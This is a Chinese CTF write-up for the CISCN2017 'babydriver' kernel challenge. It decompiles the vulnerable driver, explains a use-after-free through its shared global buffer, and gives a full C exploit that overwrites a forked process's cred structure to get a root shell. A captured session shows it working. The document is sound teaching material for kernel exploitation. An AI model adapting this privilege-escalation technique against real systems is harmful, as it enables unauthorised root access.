前言

转载自 CTF Wiki Kernel-UAF 根据学习情况略有修改

CISCN2017 - babydriver

分析

解压rootfs.cpio看一下有什么文件

➜  babydriver mkdir core
➜ babydriver cd core
➜ core mv ../rootfs.cpio rootfs.cpio.gz
➜ core gunzip ./rootfs.cpio.gz
➜ core ls
rootfs.cpio
➜ core cpio -idmv < rootfs.cpio
.
etc
etc/init.d
etc/passwd
etc/group
bin
bin/su
bin/grep
bin/watch
bin/stat
bin/df
bin/ed
bin/mktemp
bin/mpstat
bin/makemime
bin/ipcalc
bin/mountpoint
bin/ash
bin/chattr
bin/rmdir
bin/nice
bin/linux64
bin/gzip
bin/sync
bin/sed
bin/run-parts
bin/login
bin/gunzip
bin/rm
bin/chgrp
bin/touch
bin/uname
bin/pwd
bin/rev
bin/printenv
bin/fgrep
bin/mkdir
bin/iostat
bin/umount
bin/linux32
bin/mount
bin/mv
bin/setarch
bin/sleep
bin/kill
bin/dumpkmap
bin/ping6
bin/cttyhack
bin/catv
bin/dnsdomainname
bin/netstat
bin/ping
bin/setserial
bin/stty
bin/dd
bin/false
bin/lsattr
bin/reformime
bin/busybox
bin/scriptreplay
bin/base64
bin/ps
bin/ls
bin/zcat
bin/conspy
bin/lzop
bin/pidof
bin/fatattr
bin/date
bin/mt
bin/tar
bin/fdflush
bin/pipe_progress
bin/ionice
bin/mknod
bin/dmesg
bin/hostname
bin/echo
bin/chown
bin/hush
bin/vi
bin/cat
bin/more
bin/chmod
bin/cpio
bin/rpm
bin/true
bin/getopt
bin/egrep
bin/sh
bin/usleep
bin/cp
bin/kbd_mode
bin/fsync
bin/ln
sbin
sbin/ifdown
sbin/iplink
sbin/ifconfig
sbin/ipneigh
sbin/bootchartd
sbin/mkfs.vfat
sbin/losetup
sbin/watchdog
sbin/iptunnel
sbin/halt
sbin/ifup
sbin/modinfo
sbin/swapoff
sbin/init
sbin/runlevel
sbin/fdisk
sbin/fsck
sbin/mkfs.minix
sbin/reboot
sbin/uevent
sbin/switch_root
sbin/depmod
sbin/acpid
sbin/start-stop-daemon
sbin/mdev
sbin/tunctl
sbin/sulogin
sbin/sysctl
sbin/logread
sbin/insmod
sbin/ipaddr
sbin/zcip
sbin/ip
sbin/mkswap
sbin/mkfs.ext2
sbin/swapon
sbin/route
sbin/mkdosfs
sbin/iproute
sbin/blkid
sbin/hwclock
sbin/fstrim
sbin/blockdev
sbin/fbsplash
sbin/raidautorun
sbin/hdparm
sbin/slattach
sbin/lsmod
sbin/iprule
sbin/syslogd
sbin/freeramdisk
sbin/poweroff
sbin/klogd
sbin/modprobe
sbin/nameif
sbin/setconsole
sbin/ifenslave
sbin/loadkmap
sbin/mke2fs
sbin/makedevs
sbin/arp
sbin/udhcpc
sbin/rmmod
sbin/vconfig
sbin/pivot_root
sbin/devmem
sbin/getty
sbin/adjtimex
sbin/findfs
sbin/fsck.minix
init
proc
lib
lib/modules
lib/modules/4.4.72
lib/modules/4.4.72/babydriver.ko
sys
usr
usr/bin
usr/bin/uptime
usr/bin/find
usr/bin/unlzop
usr/bin/expand
usr/bin/sv
usr/bin/tail
usr/bin/less
usr/bin/uudecode
usr/bin/resize
usr/bin/printf
usr/bin/cal
usr/bin/md5sum
usr/bin/dos2unix
usr/bin/blkdiscard
usr/bin/pmap
usr/bin/last
usr/bin/cksum
usr/bin/unzip
usr/bin/groups
usr/bin/unlink
usr/bin/runsv
usr/bin/nohup
usr/bin/sha256sum
usr/bin/runsvdir
usr/bin/smemcap
usr/bin/renice
usr/bin/deallocvt
usr/bin/basename
usr/bin/logname
usr/bin/nsenter
usr/bin/lzopcat
usr/bin/head
usr/bin/clear
usr/bin/tty
usr/bin/sha1sum
usr/bin/tac
usr/bin/whois
usr/bin/unlzma
usr/bin/patch
usr/bin/hexdump
usr/bin/sort
usr/bin/script
usr/bin/comm
usr/bin/uuencode
usr/bin/awk
usr/bin/pscan
usr/bin/traceroute
usr/bin/envdir
usr/bin/dumpleases
usr/bin/timeout
usr/bin/setkeycodes
usr/bin/ipcrm
usr/bin/od
usr/bin/expr
usr/bin/fold
usr/bin/strings
usr/bin/rpm2cpio
usr/bin/id
usr/bin/nmeter
usr/bin/ipcs
usr/bin/env
usr/bin/dirname
usr/bin/dpkg-deb
usr/bin/truncate
usr/bin/traceroute6
usr/bin/openvt
usr/bin/pwdx
usr/bin/shuf
usr/bin/bzcat
usr/bin/ftpget
usr/bin/whoami
usr/bin/bzip2
usr/bin/hd
usr/bin/unshare
usr/bin/ftpput
usr/bin/which
usr/bin/pgrep
usr/bin/tee
usr/bin/lzcat
usr/bin/eject
usr/bin/envuidgid
usr/bin/top
usr/bin/pstree
usr/bin/bunzip2
usr/bin/lpr
usr/bin/test
usr/bin/xzcat
usr/bin/reset
usr/bin/wc
usr/bin/hostid
usr/bin/unxz
usr/bin/mesg
usr/bin/lsof
usr/bin/svc
usr/bin/passwd
usr/bin/flock
usr/bin/unexpand
usr/bin/man
usr/bin/realpath
usr/bin/uniq
usr/bin/tcpsvd
usr/bin/udpsvd
usr/bin/users
usr/bin/nc
usr/bin/lzma
usr/bin/microcom
usr/bin/free
usr/bin/logger
usr/bin/install
usr/bin/readlink
usr/bin/setuidgid
usr/bin/telnet
usr/bin/diff
usr/bin/fuser
usr/bin/tr
usr/bin/cut
usr/bin/sha3sum
usr/bin/split
usr/bin/unix2dos
usr/bin/[
usr/bin/setsid
usr/bin/[[
usr/bin/volname
usr/bin/cmp
usr/bin/cryptpw
usr/bin/sha512sum
usr/bin/softlimit
usr/bin/killall
usr/bin/showkey
usr/bin/mkpasswd
usr/bin/chpst
usr/bin/sum
usr/bin/mkfifo
usr/bin/ttysize
usr/bin/tftp
usr/bin/yes
usr/bin/pkill
usr/bin/wget
usr/bin/xz
usr/bin/du
usr/bin/lpq
usr/bin/who
usr/bin/rx
usr/bin/dc
usr/bin/nslookup
usr/bin/fgconsole
usr/bin/lsusb
usr/bin/dpkg
usr/bin/vlock
usr/bin/chrt
usr/bin/chvt
usr/bin/wall
usr/bin/beep
usr/bin/seq
usr/bin/time
usr/bin/lspci
usr/bin/xargs
usr/bin/crontab
usr/sbin
usr/sbin/ubirsvol
usr/sbin/crond
usr/sbin/inetd
usr/sbin/i2cdump
usr/sbin/nandwrite
usr/sbin/addgroup
usr/sbin/ntpd
usr/sbin/deluser
usr/sbin/ubiupdatevol
usr/sbin/killall5
usr/sbin/ubidetach
usr/sbin/chroot
usr/sbin/httpd
usr/sbin/nbd-client
usr/sbin/fakeidentd
usr/sbin/adduser
usr/sbin/brctl
usr/sbin/readprofile
usr/sbin/ubirmvol
usr/sbin/tftpd
usr/sbin/rtcwake
usr/sbin/fdformat
usr/sbin/chat
usr/sbin/ubirename
usr/sbin/udhcpd
usr/sbin/sendmail
usr/sbin/arping
usr/sbin/ifplugd
usr/sbin/nanddump
usr/sbin/svlogd
usr/sbin/i2cset
usr/sbin/chpasswd
usr/sbin/readahead
usr/sbin/fbset
usr/sbin/popmaildir
usr/sbin/dhcprelay
usr/sbin/ubimkvol
usr/sbin/delgroup
usr/sbin/setfont
usr/sbin/ftpd
usr/sbin/telnetd
usr/sbin/i2cdetect
usr/sbin/lpd
usr/sbin/remove-shell
usr/sbin/setlogcons
usr/sbin/rdate
usr/sbin/i2cget
usr/sbin/add-shell
usr/sbin/dnsd
usr/sbin/loadfont
usr/sbin/powertop
usr/sbin/ubiattach
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 blocks
➜ core ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
➜ core bat init
───────┬────────────────────────────────────────────────────────────────────────
│ File: init
───────┼────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t sysfs none /sys
5 │ mount -t devtmpfs devtmpfs /dev
6 │ chown root:root flag
7 │ chmod 400 flag
8 │ exec 0</dev/console
9 │ exec 1>/dev/console
10 │ exec 2>/dev/console
11 │
12 │ insmod /lib/modules/4.4.72/babydriver.ko
13 │ chmod 777 /dev/babydev
14 │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 │ setsid cttyhack setuidgid 1000 sh
16 │
17 │ umount /proc
18 │ umount /sys
19 │ poweroff -d 0 -f
20 │
───────┴────────────────────────────────────────────────────────────────────────
➜ core

根据init内容,12行加载了babydriver.ko这个驱动,根据pwn的一般套路,这个就是有漏洞的LKM。init的其他命令都是linux常用命令。

将驱动文件提取出来

➜  core cp ./lib/modules/4.4.72/babydriver.ko ..
➜ core cd ..
➜ babydriver checksec babydriver.ko
[*] '/home/lantern/Desktop/kernel/babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
➜ babydriver file babydriver.ko
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped

没有开PIE, 无canary保护,没有去除符号表

IDA打开,由于没有除去符号表,因此可以先shift + F9看看有什么结构体, 可以发现如下结构体:

00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends

而主要函数有:

  • babyrelease
  • babyopen
  • babyioctl
  • babywrite
  • babyread
  • babydriver_init
  • babydriver_exit

其中, babydriver_initbabydriver_exit分别完成了/dev/babydev设备的初始化和清理, babyrelease用于释放空间。

babyioctl:定义了 0x10001 命令, 可以释放全局变量babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。

// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}

babyopen: 申请一块空间, 大小为 0x40 字节, 地址存储在全局变量 babydev_struct.device_buf上,并更新 babydev_struct.device_buf_len

int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len, 然后把 babydev_struct.device_buf 中的数据拷贝到 buff中, buff和长度都是用户传递的数据

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

babywrite: 类似 babyread, 不同的是从buff拷贝到全局变量中

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

思路

存在一个伪条件竞争引发的UAF漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为babydev_struct是全局的。同样,如果释放第一个,那么第二个其实是被释放过的,这样就造成了一个UAF,我们可以通过UAF修改cred结构体来提权。

其中 4.4.72cred结构体定义如下:

struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

则根据UAF的思想:

  1. 打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
  2. 释放其中一个, fork 一个新的进程, 那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  3. 同时,我们可以通过另一个文件描述符对这块空间写,只需要将uidgid改为0,即可实现提权到root

需要确定cred结构体的大小,大小为0xa8(4.4.72)

EXP

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main() {
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);

// 释放 fd1
close(fd1);

// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if (pid < 0) {
puts("[*] fork error!");
exit(0);
} else if (pid == 0) {
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);

return 0;
}

get root shell

// 静态编译文件,kernel 中没有 libc
➜ gcc exploit.c -static -o exploit
➜ file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下,重新打包 rootfs.cpio
➜ cp exploit core/tmp
cd core
➜ find . | cpio -o --format=newc > rootfs.cpio
7017 块
➜ cp rootfs.cpio ..
cd ..
// kvm 需要有 root 权限
➜ sudo zsh boot.sh
......
......

/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[ 14.376187] device open
[ 14.376715] device open
[ 14.377201] alloc done
[ 14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #